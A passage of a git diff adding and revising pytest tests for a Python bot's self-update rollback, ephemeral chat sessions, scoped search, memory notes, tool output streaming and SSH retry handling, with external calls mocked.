config = tmp_path / "config.yml" + env = tmp_path / ".env" + config.write_bytes(b"operator config\xff") + env.write_bytes(b"operator env\xfe") + pip = tmp_path / ".venv" / "bin" / "pip" + pip.parent.mkdir(parents=True) + pip.touch() + calls = [] + + def run(cmd, **kwargs): + calls.append(cmd) + if "--is-inside-work-tree" in cmd: + return SimpleNamespace(returncode=0, stdout="true", stderr="") + if "rev-parse" in cmd: + return SimpleNamespace(returncode=0, stdout="previous-ref", stderr="") + if "--" in cmd and "checkout" in cmd: + config.write_bytes(b"tracked template") + env.write_bytes(b"tracked env") + if stage == "config": + if failure_kind == "nonzero": + return SimpleNamespace(returncode=1, stdout="", stderr="mocked failure") + raise subprocess.TimeoutExpired("mocked", 10) + if (stage == "fetch" and "fetch" in cmd or stage == "merge" and "merge" in cmd + or stage == "pip" and "install" in cmd): + if failure_kind == "nonzero": + return SimpleNamespace(returncode=1, stdout="", stderr="mocked failure") + raise subprocess.TimeoutExpired("mocked", 10) + if "reset" in cmd and rollback_raises: + if rollback_raises == "nonzero": + return SimpleNamespace(returncode=1, stdout="", stderr="rollback refused") + raise OSError("mocked rollback failure") + return SimpleNamespace(returncode=0, stdout="", stderr="") + + monkeypatch.setattr("src.web.api.self_update._repo_root", lambda: str(tmp_path)) + monkeypatch.setattr( + "src.web.api.self_update._ensure_local_workspace_for_update", lambda *_: None, + ) + monkeypatch.setattr("src.web.api.self_update.subprocess.run", run) + monkeypatch.setattr("shutil.rmtree", Mock(side_effect=AssertionError("no deletion"))) + monkeypatch.setattr( + "src.web.api.self_update.os.kill", Mock(side_effect=AssertionError("no signals")), + ) + monkeypatch.setattr( + "src.web.api.self_update.restart.request_restart", + Mock(side_effect=AssertionError("no restart")), + ) + app = web.Application() + routes = web.RouteTableDef() + register_self_update(routes, SimpleNamespace()) + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.post("/api/update/apply", json={"version": "v1.2.3"}) + assert response.status == 500 + if rollback_raises: + assert "rollback" in (await response.json())["error"] + assert config.read_bytes() == b"operator config\xff" + assert env.read_bytes() == b"operator env\xfe" + assert any("reset" in cmd for cmd in calls) + + +async def test_rollback_reports_operator_restore_error_without_restart(tmp_path, monkeypatch): + from pathlib import Path + config = tmp_path / "config.yml" + config.write_bytes(b"operator configuration") + calls = [] + + def run(cmd, **kwargs): + calls.append(cmd) + stdout = ( + "true" if "--is-inside-work-tree" in cmd + else "old-ref" if "rev-parse" in cmd else "" + ) + return SimpleNamespace( + returncode=1 if "fetch" in cmd else 0, stdout=stdout, stderr="mock failure", + ) + + monkeypatch.setattr("src.web.api.self_update._repo_root", lambda: str(tmp_path)) + monkeypatch.setattr( + "src.web.api.self_update._ensure_local_workspace_for_update", lambda *_: None, + ) + monkeypatch.setattr("src.web.api.self_update.subprocess.run", run) + monkeypatch.setattr(Path, "write_bytes", Mock(side_effect=OSError("restore denied"))) + restart = Mock(side_effect=AssertionError("no restart")) + monkeypatch.setattr("src.web.api.self_update.restart.request_restart", restart) + monkeypatch.setattr( + "src.web.api.self_update.os.kill", Mock(side_effect=AssertionError("no signal")), + ) + app = web.Application() + routes = web.RouteTableDef() + register_self_update(routes, SimpleNamespace()) + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.post("/api/update/apply", json={"version": "v1.2.3"}) + assert response.status == 500 + assert "restoring config.yml failed" in (await response.json())["error"] + assert any("reset" in cmd for cmd in calls) + restart.assert_not_called() + + +async def test_update_requires_rollback_ref_before_first_mutation(tmp_path, monkeypatch): + calls = [] + + def run(cmd, **kwargs): + calls.append(cmd) + if "--is-inside-work-tree" in cmd: + return SimpleNamespace(returncode=0, stdout="true", stderr="") + return SimpleNamespace(returncode=1 if "rev-parse" in cmd else 0, stdout="", stderr="") + + monkeypatch.setattr("src.web.api.self_update._repo_root", lambda: str(tmp_path)) + monkeypatch.setattr( + "src.web.api.self_update._ensure_local_workspace_for_update", lambda *_: None, + ) + monkeypatch.setattr("src.web.api.self_update.subprocess.run", run) + monkeypatch.setattr( + "src.web.api.self_update.os.kill", Mock(side_effect=AssertionError("no signal")), + ) + monkeypatch.setattr( + "src.web.api.self_update.restart.request_restart", + Mock(side_effect=AssertionError("no restart")), + ) + routes = web.RouteTableDef() + register_self_update(routes, SimpleNamespace()) + app = web.Application() + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.post("/api/update/apply", json={"version": "v1.2.3"}) + assert response.status == 500 + assert (await response.json())["error"] == "Cannot capture current ref for rollback" + assert not any( + any(action in cmd for action in ("checkout", "fetch", "reset", "merge")) for cmd in calls + ) + + +def test_repo_root_fallback_when_install_markers_are_absent(monkeypatch): + from src.web.api import self_update + monkeypatch.setattr(self_update, "__file__", "/fixture/src/web/api/self_update.py") + monkeypatch.setattr(self_update.os.path, "isfile", lambda _: False) + assert self_update._repo_root() == "/fixture" + + +async def test_successful_update_only_requests_fake_cleanup_and_fake_restart(tmp_path, monkeypatch): + import asyncio + + from src.web.api import self_update + config = tmp_path / "config.yml" + config.write_bytes(b"operator configuration") + + def run(cmd, **kwargs): + stdout = ( + "true" if "--is-inside-work-tree" in cmd + else "old-ref" if "rev-parse" in cmd else "" + ) + if "--" in cmd: + return SimpleNamespace(returncode=1, stdout="", stderr=b"pathspec: untracked file") + return SimpleNamespace(returncode=0, stdout=stdout, stderr="") + + monkeypatch.setattr(self_update, "_repo_root", lambda: str(tmp_path)) + monkeypatch.setattr(self_update, "_ensure_local_workspace_for_update", lambda *_: None) + monkeypatch.setattr(self_update.subprocess, "run", run) + monkeypatch.setattr(self_update.os, "walk", lambda _: [(str(tmp_path), ["__pycache__"], [])]) + cleanup = Mock() + monkeypatch.setattr("shutil.rmtree", cleanup) + restart = Mock() + monkeypatch.setattr(self_update.restart, "request_restart", restart) + kill = Mock(side_effect=AssertionError("no signal")) + monkeypatch.setattr(self_update.os, "kill", kill) + loop = asyncio.get_running_loop() + real_call_later = loop.call_later + captured = [] + + def call_later(delay, callback, *args, **kwargs): + if delay == 2 and getattr(callback, "__name__", "") == "": + captured.append(callback) + return Mock() + return real_call_later(delay, callback, *args, **kwargs) + + monkeypatch.setattr(loop, "call_later", call_later) + routes = web.RouteTableDef() + register_self_update(routes, SimpleNamespace()) + app = web.Application() + app.add_routes(routes) + async with TestClient(TestServer(app)) as client: + response = await client.post("/api/update/apply", json={"version": "v1.2.3"}) + assert response.status == 200 + assert (await response.json())["status"] == "updating" + cleanup.assert_called_once_with(str(tmp_path / "__pycache__"), ignore_errors=True) + restart.assert_called_once_with() + assert len(captured) == 1 + kill.assert_not_called() + assert config.read_bytes() == b"operator configuration" diff --git a/tests/test_sessions_review_regressions.py b/tests/test_sessions_review_regressions.py new file mode 100644 index 000000000..78534e2ae --- /dev/null +++ b/tests/test_sessions_review_regressions.py @@ -0,0 +1,267 @@ +"""Review regressions exercise the real session manager and route handlers.""" +import asyncio +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest +from aiohttp import web + +from src.config.schema import Config +from src.discord.channel_logger import ChannelLogger +from src.search.fts import FullTextIndex +from src.search.vectorstore import SessionVectorStore +from src.sessions.manager import Session, SessionManager +from src.web.api.sessions_chat import register_chat, register_sessions +from src.web.chat import process_web_chat + + +@pytest.fixture +def manager(tmp_path): + return SessionManager(max_history=20, max_age_hours=24, + persist_dir=str(tmp_path / "sessions"), + token_budget=1, adaptive_compaction=False) + + +def handler(registrar, bot, name): + routes = web.RouteTableDef() + registrar(routes, bot) + return next(route.handler for route in routes if route.handler.__name__ == name) + + +@pytest.mark.asyncio +@pytest.mark.parametrize("reply", ["", " \n\t ", None]) +async def test_empty_compaction_uses_deterministic_nonempty_fallback(manager, reply): + manager.set_compaction_fn(AsyncMock(return_value=reply)) + for i in range(120): + manager.add_message("channel", "user", f"source fact {i}", user_id="alice") + history = await manager.get_task_history("channel", current_query="source fact") + session = manager.get("channel") + assert len(session.messages) == 20 + assert session.summary_segments[0]["fallback"] is True + assert session.summary_segments[0]["summary"].strip() + assert "source fact 0" in session.summary_segments[0]["summary"] + assert any("compaction fallback" in str(message) for message in history) + manager.save() + saved = json.loads((manager.persist_dir / "channel.json").read_text()) + assert saved["summary_segments"][0]["summary"].strip() + + +@pytest.mark.asyncio +async def test_rolling_summary_presence_reaches_metrics_list_and_detail(manager): + manager.set_compaction_fn(AsyncMock(return_value="Earlier facts and decisions")) + for i in range(120): + manager.add_message("alice", "user", f"source fact {i}") + await manager.get_task_history("alice", current_query="facts") + session = manager.get("alice") + assert session.summary == "" and session.summary_segments + assert session.has_summary + assert manager.get_session_token_usage()["alice"]["has_summary"] is True + bot = SimpleNamespace(sessions=manager, config=Config(discord={"token": "test"}), + api_token_manager=None) + listed = await handler(register_sessions, bot, "list_sessions")(SimpleNamespace()) + assert json.loads(listed.text)[0]["has_summary"] is True + detail = await handler(register_sessions, bot, "get_session")( + SimpleNamespace(match_info={"channel_id": "alice"})) + assert "Earlier facts" in json.loads(detail.text)["summary"] + assert not Session("blank", summary=" \t", summary_segments=[{"summary": "\n"}]).has_summary + assert Session("legacy", summary="legacy facts").has_summary + + +@pytest.mark.asyncio +async def test_non_admin_scoped_search_parity_and_forbidden_scope(manager): + scoped = "web:alice:session:project" + for cid in ["alice", scoped, "web:bob:session:project", "alice-not-owned"]: + manager.add_message(cid, "user", "needle", user_id="alice") + bot = SimpleNamespace(sessions=manager) + search = handler(register_sessions, bot, "search_sessions") + identity = SimpleNamespace(user_id="alice", tier="user") + + def request(query): + return SimpleNamespace(query=query, _api_identity=identity) + + response = await search(request({"q": "needle", "channel_id": scoped})) + assert response.status == 200 + assert [r["channel_id"] for r in json.loads(response.text)["results"]] == [scoped] + response = await search(request({"q": "needle"})) + assert {r["channel_id"] for r in json.loads(response.text)["results"]} == {"alice", scoped} + for denied in ["web:bob:session:project", "alice-not-owned"]: + assert (await search(request({"q": "needle", "channel_id": denied}))).status == 403 + + +@pytest.mark.asyncio +@pytest.mark.parametrize("outcome", ["success", "failure", "cancelled"]) +async def test_execute_never_persists_sessions_or_reset_metadata(manager, outcome): + bot = MagicMock() + bot.sessions = manager + bot.config = Config(discord={"token": "test"}) + bot.api_token_manager = None + execute = handler(register_chat, bot, "execute") + channels = [] + + async def chat(bot, content, channel_id, **kwargs): + channels.append(channel_id) + assert kwargs["persist_channel_lock"] is False + manager.add_message(channel_id, "user", content, user_id="alice") + manager.add_message(channel_id, "assistant", "answer") + # Both per-turn and concurrent background/shutdown saves skip it. + await asyncio.to_thread(manager.save) + await asyncio.to_thread(manager.save_all) + manager._archive_session(channel_id) + assert not list(manager.persist_dir.glob("*.json")) + if outcome == "failure": + raise RuntimeError("provider failed") + if outcome == "cancelled": + raise asyncio.CancelledError() + return {"response": "answer", "tools_used": [], "is_error": False} + + request = SimpleNamespace(json=AsyncMock(return_value={"prompt": "question"}), + headers={}, path="/api/execute") + with patch("src.web.api.process_web_chat", new=chat): + for _ in range(3): + if outcome == "success": + assert (await execute(request)).status == 200 + else: + error = RuntimeError if outcome == "failure" else asyncio.CancelledError + with pytest.raises(error): + await execute(request) + assert len(set(channels)) == 3 + assert manager.count() == 0 + assert manager._dirty == set() + assert manager._reset_epochs == manager._mutation_revisions == manager._continuity_source == {} + assert manager._ephemeral_channels == set() + assert list(manager.persist_dir.iterdir()) == [] + manager.add_message("persistent", "user", "preserved") + manager.save() + manager.reset("persistent") + assert "persistent" in manager._reset_epochs + + +@pytest.mark.asyncio +async def test_channel_fts_eligibility_before_limit(manager, tmp_path): + fts = FullTextIndex(str(tmp_path / "fts.db")) + logger = ChannelLogger(str(tmp_path / "logs")) + try: + for i, (cid, ts) in enumerate([("other", 200), ("wanted", 50), ("wanted", 150), + ("wanted", 250)]): + fts.index_channel_messages([{"message_id": str(i), "content": "needle", + "author": "author", "channel_id": cid, "ts": ts}]) + manager._reset_epochs["wanted"] = 175 + manager.set_channel_search(logger, fts) + results = await manager.search_history("needle", limit=1, channel_id="wanted", after=100) + assert len(results) == 1 + assert results[0]["timestamp"] == 250 + results = await manager.search_history("needle", limit=1, channel_id="wanted", before=0) + assert results == [] + finally: + fts._conn.close() + + +@pytest.mark.asyncio +async def test_hybrid_eligibility_before_limit_with_real_fts(manager, tmp_path): + fts = FullTextIndex(str(tmp_path / "fts.db")) + vector = SessionVectorStore(str(tmp_path / "vectors.db"), fts_index=fts) + try: + for doc_id, cid, ts in [("other", "other", 250), ("purged", "wanted", 50), + ("expired", "wanted", 150), ("eligible", "wanted", 250)]: + assert fts.index_session(doc_id, "needle", cid, ts) + manager._vector_store = vector + manager._reset_epochs["wanted"] = 100 + results = await manager.search_history("needle", limit=1, channel_id="wanted", after=200) + assert len(results) == 1 and results[0]["doc_id"] == "eligible" + finally: + vector._conn.close() + fts._conn.close() + + +@pytest.mark.asyncio +async def test_execute_real_chat_history_and_save_are_ephemeral(manager): + bot = MagicMock() + bot.sessions = manager + bot.config = Config(discord={"token": "test"}) + bot.api_token_manager = None + bot.llm_gateway.codex_client = object() + bot.prompt_builder.build_full_prompt.return_value = "System prompt" + bot.turn_recorder._new_context_trace.return_value = None + bot.delivery.set_status = AsyncMock() + channels = [] + + async def run(message, history, **kwargs): + cid = str(message.channel.id) + channels.append(cid) + assert manager.exists(cid) + assert history[-1]["content"].endswith("question") + await asyncio.to_thread(manager.save_all) + assert not list(manager.persist_dir.glob("*.json")) + return "answer", False, False, [], None + + bot.tool_loop.run = AsyncMock(side_effect=run) + execute = handler(register_chat, bot, "execute") + request = SimpleNamespace(json=AsyncMock(return_value={"prompt": "question"}), + headers={}, path="/api/execute") + with patch("src.web.api.process_web_chat", new=process_web_chat): + response = await execute(request) + assert response.status == 200 + assert json.loads(response.text)["response"] == "answer" + assert len(channels) == 1 and manager.count() == 0 + assert manager._reset_epochs == manager._mutation_revisions == {} + assert list(manager.persist_dir.iterdir()) == [] + + +@pytest.mark.asyncio +async def test_ranked_channel_duplicate_candidates_cannot_hide_next_match(manager, tmp_path): + fts = FullTextIndex(str(tmp_path / "fts.db")) + logger = ChannelLogger(str(tmp_path / "logs")) + try: + manager.add_message("wanted", "user", "needle") + timestamp = manager.get("wanted").messages[0].timestamp + records = [{"message_id": str(i), "content": "needle", "author": "alice", + "channel_id": "wanted", "ts": timestamp} for i in range(6)] + records.append({"message_id": "distinct", "content": "needle", "author": "alice", + "channel_id": "wanted", "ts": timestamp + 1}) + fts.index_channel_messages(records) + manager.set_channel_search(logger, fts) + results = await manager.search_history("needle", limit=2) + assert len(results) == 2 + assert {r["timestamp"] for r in results} == {timestamp, timestamp + 1} + finally: + fts._conn.close() + + +def test_ephemeral_administrative_clear_remains_memory_only(manager): + with manager.ephemeral("api-unique"): + manager.add_message("api-unique", "user", "temporary") + revision = manager.mutation_revision("api-unique") + assert manager.clear_all() == 1 + assert manager.mutation_revision("api-unique") > revision + manager.add_message("api-unique", "assistant", "finishing") + manager.save_all() + assert list(manager.persist_dir.iterdir()) == [] + assert manager._mutation_revisions == manager._reset_epochs == {} + + +def test_ephemeral_lifecycle_refuses_existing_persistent_session(manager): + manager.add_message("persistent", "user", "preserve") + manager.save() + with pytest.raises(ValueError, match="new and unique"): + with manager.ephemeral("persistent"): + pass + assert manager.get("persistent").messages[0].content == "preserve" + assert (manager.persist_dir / "persistent.json").exists() + + +@pytest.mark.asyncio +async def test_author_filtered_fallback_duplicates_do_not_consume_limit(manager, tmp_path): + log_dir = tmp_path / "logs" + logger = ChannelLogger(str(log_dir)) + manager.add_message("wanted", "user", "needle", user_id="alice") + timestamp = manager.get("wanted").messages[0].timestamp + records = [{"content": "needle", "author_id": "alice", "channel_id": "wanted", + "ts": timestamp} for _ in range(4)] + records.append({"content": "needle distinct", "author_id": "alice", + "channel_id": "wanted", "ts": timestamp - 1}) + (log_dir / "wanted.jsonl").write_text("\n".join(json.dumps(r) for r in records) + "\n") + manager.set_channel_search(logger) + results = await manager.search_history("needle", limit=2, channel_id="wanted", user_id="alice") + assert len(results) == 2 + assert {r["timestamp"] for r in results} == {timestamp, timestamp - 1} diff --git a/tests/test_skill_context.py b/tests/test_skill_context.py index 99d5fa862..a0855036f 100644 --- a/tests/test_skill_context.py +++ b/tests/test_skill_context.py @@ -106,7 +106,7 @@ def test_save_memory_no_path_is_noop(self): # --------------------------------------------------------------------------- # -# host / prometheus / file +# host / file # --------------------------------------------------------------------------- # class TestHostAndFile: async def test_run_on_host_uses_executor_with_requester(self, tmp_path): @@ -116,12 +116,6 @@ async def test_run_on_host_uses_executor_with_requester(self, tmp_path): "run_command", {"host": "srv", "command": "uname"}, user_id=None ) - async def test_query_prometheus(self, tmp_path): - c = _ctx(tmp_path) - assert "curl" not in await c.query_prometheus("up") # returns execute result - c._executor.config = SimpleNamespace(hosts={}) - assert "No hosts" in await c.query_prometheus("up") - async def test_read_file(self, tmp_path): c = _ctx(tmp_path) assert await c.read_file( diff --git a/tests/test_smoke_run_bot.py b/tests/test_smoke_run_bot.py index 85a24847b..6bd2c6573 100644 --- a/tests/test_smoke_run_bot.py +++ b/tests/test_smoke_run_bot.py @@ -114,7 +114,6 @@ def test_config_has_all_round_fields(self): # Phase 8 assert hasattr(cfg, "web") # Phase 9 - assert hasattr(cfg, "grafana_alerts") # Phase 10 assert hasattr(cfg, "outbound_webhooks") assert hasattr(cfg, "graceful_degradation") @@ -187,10 +186,6 @@ def test_mcp_client(self): assert MCPServerConnection is not None - def test_grafana_alerts(self): - from src.health.grafana_alerts import GrafanaAlertHandler - assert GrafanaAlertHandler is not None - # --------------------------------------------------------------------------- # Phase 5 — Memory & knowledge @@ -475,7 +470,6 @@ class TestImportSweep: "src.scheduler.scheduler", "src.health.startup", "src.health.subsystem_guard", - "src.health.grafana_alerts", "src.notifications.outbound_webhooks", "src.permissions.manager", "src.monitoring.resource_usage", diff --git a/tests/test_state_handlers.py b/tests/test_state_handlers.py index 8303d826c..1b8132df7 100644 --- a/tests/test_state_handlers.py +++ b/tests/test_state_handlers.py @@ -35,6 +35,45 @@ def _save(all_mem): class TestMemoryManage: + @pytest.mark.asyncio + @pytest.mark.parametrize("scope", ["personal", "global"]) + async def test_explicit_get_delete_scope_does_not_cross_namespaces(self, tools, scope): + for section, value in [("personal", "private"), ("global", "shared")]: + await tools._handle_memory_manage( + {"action": "save", "scope": section, "key": "same", "value": value}, + user_id="u1") + get = {"action": "get", "scope": scope, "key": "same"} + assert f"({scope})" in await tools._handle_memory_manage(get, user_id="u1") + assert f"Deleted {scope}" in await tools._handle_memory_manage( + {**get, "action": "delete"}, user_id="u1") + assert "No note found" in await tools._handle_memory_manage(get, user_id="u1") + assert "No note found" in await tools._handle_memory_manage( + {**get, "action": "delete"}, user_id="u1") + other = "global" if scope == "personal" else "personal" + assert f"({other})" in await tools._handle_memory_manage( + {**get, "scope": other}, user_id="u1") + + @pytest.mark.asyncio + async def test_omitted_scope_keeps_personal_first_then_global(self, tools): + for scope in ("personal", "global"): + await tools._handle_memory_manage( + {"action": "save", "scope": scope, "key": "same", "value": scope}, + user_id="u1") + for scope in ("personal", "global"): + assert f"({scope})" in await tools._handle_memory_manage( + {"action": "get", "key": "same"}, user_id="u1") + assert f"Deleted {scope}" in await tools._handle_memory_manage( + {"action": "delete", "key": "same"}, user_id="u1") + + @pytest.mark.asyncio + async def test_explicit_personal_without_identity_never_accesses_global(self, tools): + await tools._handle_memory_manage( + {"action": "save", "scope": "global", "key": "same", "value": "shared"}) + for action in ("get", "delete"): + assert "No note found" in await tools._handle_memory_manage( + {"action": action, "scope": "personal", "key": "same"}) + assert "shared" in await tools._handle_memory_manage({"action": "get", "key": "same"}) + @pytest.mark.asyncio async def test_missing_action(self, tools): assert "requires an 'action'" in await tools._handle_memory_manage({}) diff --git a/tests/test_stream_invocation_identity.py b/tests/test_stream_invocation_identity.py new file mode 100644 index 000000000..cb96cdd07 --- /dev/null +++ b/tests/test_stream_invocation_identity.py @@ -0,0 +1,49 @@ +"""Repeated model-local IDs cannot replace another invocation's stream (#530).""" +import pytest + +from src.tools.output_streamer import ( + ToolOutputStreamer, + current_call_id, + current_stream_attribution, +) + + +@pytest.mark.parametrize("same_channel", [False, True]) +async def test_reused_call_ids_keep_registry_and_wire_ownership(same_channel): + streamer = ToolOutputStreamer(chunk_interval=0.1) + chunks = [] + + async def listener(chunk): + chunks.append(chunk.to_dict()) + + streamer.add_listener(listener) + callbacks = [] + for index in range(2): + call = current_call_id.set("model-local-id") + attribution = current_stream_attribution.set({ + "turn_id": f"turn-{index}", "agent_id": f"agent-{index}", "iteration": index, + }) + try: + callbacks.append(streamer.create_callback( + "run_command", "same" if same_channel else str(index) + )) + finally: + current_call_id.reset(call) + current_stream_attribution.reset(attribution) + first, second = callbacks + assert first[0] != second[0] + assert len(streamer._active_streams) == 2 + await first[1]("first buffered tail") + await second[1]("second buffered tail") + assert await streamer.abandon_streams([first[0]]) == 1 + assert len(streamer._active_streams) == 1 + await second[2]() + assert not streamer._active_streams + for index, text in enumerate(["first buffered tail", "second buffered tail"]): + owned = [chunk for chunk in chunks if chunk["turn_id"] == f"turn-{index}"] + assert "".join(chunk["chunk"] for chunk in owned) == text + assert sum(chunk["finished"] for chunk in owned) == 1 + assert all(chunk["call_id"] == "model-local-id" for chunk in owned) + assert all( + chunk["agent_id"] == f"agent-{index}" and chunk["iteration"] == index for chunk in owned + ) diff --git a/tests/test_strict_wire_defs.py b/tests/test_strict_wire_defs.py index 6873fcb84..ab7846646 100644 --- a/tests/test_strict_wire_defs.py +++ b/tests/test_strict_wire_defs.py @@ -36,14 +36,13 @@ def test_http_probe_wire_headers_reject_duplicates_and_bad_entries(headers): build_http_probe_command({"url": "https://example.com", "headers": headers}) -def test_schedule_triggers_share_closed_four_field_shape(): +def test_schedule_triggers_share_closed_shape_without_removed_native_source(): for tool_name in ("schedule_task", "update_schedule"): trigger = _schema(SCHEDULING_TOOLS, tool_name)["properties"]["trigger"] assert trigger["additionalProperties"] is False - assert set(trigger["properties"]) == {"source", "event", "repo", "alert_name"} + assert set(trigger["properties"]) == {"source", "event", "repo"} assert trigger["properties"]["source"]["enum"] == [ "gitea", - "grafana", "generic", "github", "gitlab", diff --git a/tests/test_successful_retry_provenance.py b/tests/test_successful_retry_provenance.py new file mode 100644 index 000000000..c80d34981 --- /dev/null +++ b/tests/test_successful_retry_provenance.py @@ -0,0 +1,163 @@ +"""Final retry settlement is independent of earlier dispatch uncertainty. + +Real executor, host leases, handlers and SSH retry code; only the subprocess +boundary is faked. No command, SSH connection or service reaches a live host. +""" +from dataclasses import replace +from unittest.mock import AsyncMock + +import pytest + +from src.config.schema import ToolHost, ToolsConfig +from src.tools import executor as executor_module +from src.tools import ssh +from src.tools.execution_outcome import ToolFailure, ToolSuccess, result_text +from src.tools.executor import ToolExecutor +from src.tools.hosts import HostRegistry +from src.tools.result_validator import ToolResult + + +class _SSHClient: + """A dispatched client settles only when communicate or cleanup completes.""" + + def __init__(self, *, failure=None, code=0, output="1: recovered\n"): + self.pid = 54321 + self.returncode = None + self.failure = failure + self.code = code + self.output = output + self.communications = 0 + self.cleaned = False + + async def communicate(self): + self.communications += 1 + if self.failure is not None: + raise self.failure + self.returncode = self.code + return self.output.encode(), None + + async def cleanup(self): + assert self.returncode is None + self.returncode = -15 + self.cleaned = True + + +def _executor(tmp_path, *, attempts): + config = ToolsConfig( + ssh_pool={"enabled": False}, + ssh_retry={"max_retries": attempts, "base_delay": 0, "max_delay": 0}, + ) + registry = HostRegistry( + {"remote": ToolHost(address="192.0.2.10")}, + trust_dir=tmp_path / "trust", + ) + return ToolExecutor(config=config, host_registry=registry, + memory_path=str(tmp_path / "memory.json")) + + +def _fake_clients(monkeypatch, *clients): + pending = iter(clients) + + async def spawn(*args, **kwargs): + assert args[0] == "ssh" + assert "root@192.0.2.10" in args + assert kwargs["stdout"] is ssh.asyncio.subprocess.PIPE + if clients[0] is not clients[-1] and clients[0].communications: + assert clients[0].cleaned, "retry must follow timeout cleanup" + return next(pending) + + async def cleanup(proc, **kwargs): + assert proc in clients + await proc.cleanup() + + spawn_mock = AsyncMock(side_effect=spawn) + monkeypatch.setattr(ssh.asyncio, "create_subprocess_exec", spawn_mock) + monkeypatch.setattr(ssh, "terminate_process_tree", AsyncMock(side_effect=cleanup)) + return spawn_mock + + +@pytest.mark.parametrize("final_code", [0, 7]) +async def test_real_run_command_internal_ssh_retry_settlement(tmp_path, monkeypatch, final_code): + exe = _executor(tmp_path, attempts=2) + first = _SSHClient(failure=TimeoutError("client lost settlement")) + second = _SSHClient(code=final_code, output="retry response") + third = _SSHClient(output="separate invocation") + spawn = _fake_clients(monkeypatch, first, second, third) + + result = await exe.execute("run_command", {"host": "remote", "command": "fixture"}) + + assert spawn.await_count == 2 + assert first.cleaned and first.communications == second.communications == 1 + assert result.ok is (final_code == 0) + assert result.exit_code == final_code + assert result.uncertain_outcome + assert (result.error is None) is result.ok + assert "retry response" in result.output + assert exe.recovery_stats.get_summary()["totals"]["attempts"] == 0 + + separate = await exe.execute("run_command", {"host": "remote", "command": "fixture"}) + assert spawn.await_count == 3 + assert separate.ok and not separate.uncertain_outcome + assert separate.output == "separate invocation" + + +@pytest.mark.parametrize("final_code", [0, 7]) +async def test_real_read_file_executor_recovery_settlement(tmp_path, monkeypatch, final_code): + exe = _executor(tmp_path, attempts=1) + first = _SSHClient(failure=ConnectionResetError("ConnectionResetError: peer closed")) + second = _SSHClient(code=final_code, output="Error: ConnectionResetError is file content") + spawn = _fake_clients(monkeypatch, first, second) + decide = executor_module._decide_recovery_action + monkeypatch.setattr(executor_module, "_decide_recovery_action", + lambda **kw: replace(decide(**kw), delay_seconds=0)) + + result = await exe.execute("read_file", {"host": "remote", "path": "/fixture.txt"}) + + assert spawn.await_count == 2 + assert first.cleaned and first.communications == second.communications == 1 + assert result.ok is (final_code == 0) + assert result.exit_code == final_code + assert result.uncertain_outcome + assert (result.error is None) is result.ok + summary = exe.recovery_stats.get_summary()["totals"] + assert summary["attempts"] == 1 + assert summary["successes"] == int(final_code == 0) + assert summary["failures"] == int(final_code != 0) + + +async def test_real_run_command_exhausted_timeouts_remain_failed(tmp_path, monkeypatch): + exe = _executor(tmp_path, attempts=2) + clients = [_SSHClient(failure=TimeoutError()) for _ in range(2)] + spawn = _fake_clients(monkeypatch, *clients) + + result = await exe.execute("run_command", {"host": "remote", "command": "fixture"}) + + assert spawn.await_count == 2 and all(proc.cleaned for proc in clients) + assert not result.ok and result.uncertain_outcome + assert result.exit_code == 1 and result.error is not None + + +@pytest.mark.parametrize("formatted", [False, True]) +async def test_nested_success_wrapper_keeps_success_and_uncertainty(tmp_path, formatted): + exe = _executor(tmp_path, attempts=1) + + async def handler(_): + text = result_text(ToolResult(output="nested retry settled", ok=True, + uncertain_outcome=True)) + assert isinstance(text, ToolSuccess) and not isinstance(text, ToolFailure) + return f"formatted {text}" if formatted else text + + exe._handle_test_tool = handler + result = await exe.execute("test_tool", {}) + assert result.ok and result.uncertain_outcome and result.error is None + assert "nested retry settled" in result.output + + +async def test_returned_success_wrapper_keeps_provenance_without_active_context(tmp_path): + exe = _executor(tmp_path, attempts=1) + text = result_text(ToolResult(output="Error: ConnectionResetError is captured content", + ok=True, uncertain_outcome=True)) + exe._handle_test_tool = AsyncMock(return_value=text) + result = await exe.execute("test_tool", {}) + assert result.ok and result.uncertain_outcome and result.error is None + exe._handle_test_tool.assert_awaited_once() diff --git a/tests/test_token_budget.py b/tests/test_token_budget.py index 0d4537365..f78320e2c 100644 --- a/tests/test_token_budget.py +++ b/tests/test_token_budget.py @@ -7,7 +7,7 @@ - Token-budget-triggered auto-compaction in get_history_with_compaction / get_task_history - SessionManager.get_session_token_usage() - SessionManager.get_token_metrics() -- Prometheus metrics rendering for session tokens +- Session token usage metrics - /api/sessions/token-usage endpoint - Session list/detail endpoints include estimated_tokens - Config schema: SessionsConfig.token_budget default @@ -21,7 +21,6 @@ import pytest from src.config.schema import SessionsConfig -from src.health.metrics import MetricsCollector from src.llm.cost_tracker import estimate_tokens from src.sessions.manager import ( COMPACTION_THRESHOLD, @@ -284,43 +283,6 @@ def test_over_budget_count(self, tmp_path): assert metrics["over_budget_count"] == 1 -# --------------------------------------------------------------------------- -# Prometheus metrics rendering -# --------------------------------------------------------------------------- - -class TestSessionTokenPrometheusMetrics: - def test_session_token_metrics_rendered(self, tmp_path): - mgr = _make_manager(tmp_path) - mgr.add_message("ch1", "user", "a" * 400) - collector = MetricsCollector() - collector.register_source("session_tokens", mgr.get_token_metrics) - output = collector.render() - assert "odin_session_tokens_total" in output - assert "odin_session_token_budget" in output - assert "odin_sessions_over_budget" in output - assert 'channel="ch1"' in output - - def test_session_token_metrics_absent_when_no_source(self): - collector = MetricsCollector() - output = collector.render() - assert "odin_session_tokens_total" not in output - - def test_session_token_metrics_empty_sessions(self, tmp_path): - mgr = _make_manager(tmp_path) - collector = MetricsCollector() - collector.register_source("session_tokens", mgr.get_token_metrics) - output = collector.render() - assert "odin_session_tokens_total 0" in output - - def test_over_budget_metric_value(self, tmp_path): - mgr = _make_manager(tmp_path, token_budget=10) - mgr.add_message("ch1", "user", "a" * 400) - collector = MetricsCollector() - collector.register_source("session_tokens", mgr.get_token_metrics) - output = collector.render() - assert "odin_sessions_over_budget 1" in output - - # --------------------------------------------------------------------------- # Config: SessionsConfig.token_budget # --------------------------------------------------------------------------- diff --git a/tests/test_trajectories.py b/tests/test_trajectories.py index 6abe11740..8e699f7af 100644 --- a/tests/test_trajectories.py +++ b/tests/test_trajectories.py @@ -9,9 +9,6 @@ from aiohttp import web from aiohttp.test_utils import TestClient, TestServer -from src.config.schema import WebhookConfig -from src.health.metrics import MetricsCollector -from src.health.server import HealthServer from src.trajectories.saver import ( 